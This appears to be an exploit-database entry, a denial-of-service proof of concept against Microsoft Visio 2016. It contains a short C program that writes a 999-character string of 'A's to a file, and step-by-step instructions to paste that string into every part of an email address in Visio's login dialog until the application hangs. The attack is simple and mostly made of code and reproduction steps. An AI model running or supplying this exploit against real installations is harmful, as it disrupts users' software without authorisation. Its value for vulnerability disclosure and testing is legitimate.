Microsoft Visio 2016 16.0.4738.1000 Denial Of Service

`# -⋆- coding: utf-8 -⋆-  
Created on Thu Feb 21 01:32:50 2019  
  
@author: César  
"""  
  
#Exploit Title: Microsoft Visio 2016 (16.0.4738.1000) "Log in accounts" allows go on whit email formed by one thousand A in every of its parts [email protected]   
#Descovered by: César Adrián Coronado Llanos  
#Descovered Date; Sun Feb 17 20:34:23 2019  
#Vendor Homepage: https://www.microsoft.com  
#Tested Version: 16.0.4738.1000 x64  
#Tested on OS: Microsoft Windows 10 Home Single Language x64  
#Versión 10.0.10240 compilación 10240  
  
#Steps to produce the crash  
#1.- Run c code: generator.c  
#2.- Open the file created "letters.txt" and copy the text content to clipboard  
#3.- Open Visio 2016  
#4.- Click in change account or Login  
#5.- In the Login paste the clipboard, typewrite @ paste again the clipboard, typewrite . and paste for last time the clipboard, clik in next  
#6.- Click in professional account  
#7.- Visio 2016 don't respond, however it stays in a white window and don't send us any message  
  
Note: For do this you need internet conection.  
  
#include<stdio.h>  
int main(){  
int i;  
FILE *letters;  
if((letters = fopen("letters.txt","w+")) != NULL){  
for(i=0;i<999;i++){  
fprintf(letters,"A");  
}  
}  
fclose(letters);  
printf("\tThe file was created successfully!!\n");  
}  
  
Note: This code was compiled in dev C++  
`